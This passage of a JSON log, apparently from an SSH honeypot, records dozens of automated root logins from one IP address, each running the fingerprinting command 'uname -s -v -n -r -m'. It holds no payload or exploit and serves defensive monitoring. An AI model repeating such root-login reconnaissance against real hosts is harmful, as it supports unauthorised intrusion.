  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 274,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:09:45.822786+00:00",
  "ended_at": "2026-08-27T03:09:49.141699+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6bfa274d-4a22-4cce-a9e1-190b764b9405",
  "name": "marine-quartz-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50908,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:09:32.445321+00:00",
  "ended_at": "2026-08-27T03:09:37.439610+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a997f451-bc7c-40a1-b187-1662fdaabba7",
  "name": "thawing-mighty-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47958,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 226,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:09:21.869795+00:00",
  "ended_at": "2026-08-27T03:09:25.183903+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4bce6f4b-47d9-46df-a9b2-b845e8e44343",
  "name": "ruddy-wry-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46092,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 215,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:08:14.744791+00:00",
  "ended_at": "2026-08-27T03:08:20.505791+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "205f287d-5e1f-47be-be0d-4117fc39faeb",
  "name": "alpine-hazy-shearwater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33958,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:07:54.799600+00:00",
  "ended_at": "2026-08-27T03:08:00.379402+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ac934ecd-c44a-4527-b6bc-a6f1dcdc6257",
  "name": "jaunty-faded-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39632,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 195,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:07:35.296876+00:00",
  "ended_at": "2026-08-27T03:07:39.464259+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9ae7200d-fc8b-427a-b99a-70c1a07a768e",
  "name": "wistful-vernal-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34848,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 188,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:07:24.345241+00:00",
  "ended_at": "2026-08-27T03:07:29.983224+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8862977c-05d2-4335-8885-88263329a75e",
  "name": "brave-northern-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54864,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:06:31.674781+00:00",
  "ended_at": "2026-08-27T03:06:35.366913+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9c7e771b-bd0f-4857-b10c-31d107c82ed3",
  "name": "supple-russet-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54810,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 192,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:06:08.632875+00:00",
  "ended_at": "2026-08-27T03:06:13.416132+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3e8665aa-5d1d-48f6-8802-284fe050ab44",
  "name": "regal-languid-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54738,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 217,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:05:59.144174+00:00",
  "ended_at": "2026-08-27T03:06:02.658050+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ee1924a3-0127-4237-8fc7-ad5878f4242e",
  "name": "sandy-regal-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35716,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:05:41.839178+00:00",
  "ended_at": "2026-08-27T03:05:45.300661+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2199f60f-e5bc-4714-af89-141bdd6ac9f2",
  "name": "proud-misty-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35694,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:05:40.763763+00:00",
  "ended_at": "2026-08-27T03:05:46.560001+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7067abbf-8d31-471e-bfc9-7c6664066656",
  "name": "lunar-rustic-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55880,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:05:20.287140+00:00",
  "ended_at": "2026-08-27T03:05:25.749272+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bc611f47-f7ae-4b1f-86f1-b6691c6903af",
  "name": "ashen-distant-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55792,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 364,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:05:15.088587+00:00",
  "ended_at": "2026-08-27T03:05:20.352645+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dbdf8f2a-8cb8-48f7-b3fb-5e3f1cfaa58e",
  "name": "smoky-scarlet-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56436,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 309,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:05:03.546199+00:00",
  "ended_at": "2026-08-27T03:05:09.476661+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "39889bea-0fbe-4f76-b9d4-3de7c0c3a4e7",
  "name": "faded-zealous-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 59720,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 218,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:04:51.905180+00:00",
  "ended_at": "2026-08-27T03:04:57.909182+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ad1c4e0b-4c54-417f-9bf8-c77a19d62954",
  "name": "fleeting-gnarled-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38978,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 192,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:04:00.111737+00:00",
  "ended_at": "2026-08-27T03:04:05.484485+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6eafec67-0087-42ba-8af6-206a19124789",
  "name": "frosty-frugal-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51262,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 232,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:03:49.902832+00:00",
  "ended_at": "2026-08-27T03:03:53.421141+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "60ed9ab7-38ed-411f-bbf5-57d012cac1d5",
  "name": "lawful-thrifty-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51184,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 396,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:03:41.256679+00:00",
  "ended_at": "2026-08-27T03:03:44.334569+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "17e48f33-6e73-4825-a0dc-97ebe0509713",
  "name": "lively-frugal-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42460,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 443,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:03:39.231906+00:00",
  "ended_at": "2026-08-27T03:03:42.152745+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4797a1c3-82f6-4869-88d5-25bd51810c27",
  "name": "inland-nimble-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46630,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 277,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:03:20.152619+00:00",
  "ended_at": "2026-08-27T03:03:26.422252+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0b49ea42-ef7c-4030-b154-5e6c0a92e99b",
  "name": "civil-sturdy-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56366,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 351,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:03:00.155781+00:00",
  "ended_at": "2026-08-27T03:03:04.861926+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5deb6649-41ff-4713-8473-10203aa182e6",
  "name": "painted-solemn-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46032,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 309,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:02:41.891302+00:00",
  "ended_at": "2026-08-27T03:02:44.620441+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5f9b6d59-11c6-4f0e-9b30-dbfbbb266b7e",
  "name": "oaken-seaward-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50316,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 460,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:02:23.157945+00:00",
  "ended_at": "2026-08-27T03:02:29.288910+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a0f2fb6d-6893-403f-ac33-6ad0181c8d0f",
  "name": "twilight-barren-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50258,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 377,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:02:14.330993+00:00",
  "ended_at": "2026-08-27T03:02:17.660173+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8d600dab-a314-4eeb-8164-747a8872b0c8",
  "name": "orderly-gloomy-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44566,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 390,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:02:06.244250+00:00",
  "ended_at": "2026-08-27T03:02:10.541013+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b815134f-fbfd-40da-8a55-650e3edefe9f",
  "name": "dewy-ruddy-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55144,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 316,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:01:44.617302+00:00",
  "ended_at": "2026-08-27T03:01:48.821267+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5a29a98d-2601-4516-92c0-34ed196732f5",
  "name": "rapid-gentle-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60390,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 321,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:01:06.907038+00:00",
  "ended_at": "2026-08-27T03:01:12.167426+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0b54ca70-11fa-4dca-ac20-66582ac29304",
  "name": "vigilant-tender-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36046,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 302,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:00:01.672707+00:00",
  "ended_at": "2026-08-27T03:00:06.876888+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f448776d-5d3b-4d36-b33d-544f4b20a898",
  "name": "wandering-breezy-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36152,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 243,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:59:24.707346+00:00",
  "ended_at": "2026-08-27T02:59:29.533431+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5521ca84-95e0-441e-8924-fad9fd4701df",
  "name": "reedy-gnarled-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38310,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 308,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:59:09.192796+00:00",
  "ended_at": "2026-08-27T02:59:14.549115+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7bc7ba66-15d1-423b-93da-5c94594aed45",
  "name": "prickly-thrifty-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38260,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 214,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:58:55.272940+00:00",
  "ended_at": "2026-08-27T02:59:01.128527+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ba9a5ef9-e542-4a4b-a07b-6f5b342c5322",
  "name": "nameless-mighty-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53150,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 298,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:58:39.849033+00:00",
  "ended_at": "2026-08-27T02:58:44.996229+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3c8bf8a6-ead3-48e7-a2de-e5f19e1553fc",
  "name": "snowy-nautical-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55062,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 275,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:58:36.001915+00:00",
  "ended_at": "2026-08-27T02:58:39.456006+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ba39f45c-6e42-4192-90e7-ac09a5de5c84",
  "name": "stoic-quartz-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54938,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 273,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:58:27.627093+00:00",
  "ended_at": "2026-08-27T02:58:32.448553+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7cffe3e9-4105-4144-b2c5-1fe6be942d58",
  "name": "cosmic-crimson-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58012,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 480,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:58:11.405356+00:00",
  "ended_at": "2026-08-27T02:58:16.532465+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "52c3e8e5-9706-41ff-a96d-34ebe2fdf5d8",
  "name": "civil-graceful-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48570,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 313,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:57:07.328252+00:00",
  "ended_at": "2026-08-27T02:57:10.406042+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f03177ac-9e66-4a1e-b269-6b0c6794ed00",
  "name": "civil-barren-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48196,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:57:00.408049+00:00",
  "ended_at": "2026-08-27T02:57:05.586664+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "35ba73b3-5bd1-415c-91cb-5b1989959ca3",
  "name": "seaward-flinty-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56018,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:56:30.144296+00:00",
  "ended_at": "2026-08-27T02:56:36.042187+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ffaa519e-ede7-4ef6-97ba-11a6fe1e39c0",
  "name": "calm-solemn-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55940,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 219,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:56:18.980111+00:00",
  "ended_at": "2026-08-27T02:56:21.888968+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "647e22e2-1c6f-47ff-9f1b-c78b7ce17441",
  "name": "tender-genial-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45242,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 251,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:56:05.682629+00:00",
  "ended_at": "2026-08-27T02:56:10.202049+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "abb978e9-1e39-4668-97a0-32c187b007e3",
  "name": "gentle-nautical-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53904,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 228,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:55:57.508841+00:00",
  "ended_at": "2026-08-27T02:56:02.237921+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "954f1b89-902d-44a4-bdc5-2ad595139433",
  "name": "austere-proud-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41664,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:55:28.368225+00:00",
  "ended_at": "2026-08-27T02:55:31.580479+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ae73a45d-dc7b-439a-b361-9ecb57ac17eb",
  "name": "feathered-jovial-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47070,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 303,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:55:12.599118+00:00",
  "ended_at": "2026-08-27T02:55:15.908719+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bc8b0b7b-1a55-4177-a61b-059d3dc1c670",
  "name": "ancient-sunlit-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50478,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 306,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:54:50.359335+00:00",
  "ended_at": "2026-08-27T02:54:56.071178+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e0c5f3da-b97a-4acd-8d92-be6a69608e25",
  "name": "burly-plucky-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53754,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 287,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:54:36.081615+00:00",
  "ended_at": "2026-08-27T02:54:39.227023+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e509f2e6-f10a-4a27-acc0-dfa692722cbd",
  "name": "creaky-fickle-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53460,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 202,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:53:55.975257+00:00",
  "ended_at": "2026-08-27T02:53:58.840363+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "90803ea9-433d-4455-979f-9b383d6c62aa",
  "name": "jaunty-feathered-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45612,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 319,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:53:34.022857+00:00",
  "ended_at": "2026-08-27T02:53:38.045315+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f0de8c30-291d-48a1-82ac-27ff219a40ca",
  "name": "nameless-misty-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37786,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 387,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:52:59.024451+00:00",
  "ended_at": "2026-08-27T02:53:01.995277+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "527f1b34-a9eb-456d-b6f9-b46867b63bcb",
  "name": "grumpy-blithe-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37742,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 376,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:52:54.658713+00:00",
  "ended_at": "2026-08-27T02:52:58.776765+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d30f45b8-e28b-4190-a8f1-a0f43d2a6655",
  "name": "eager-ruddy-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
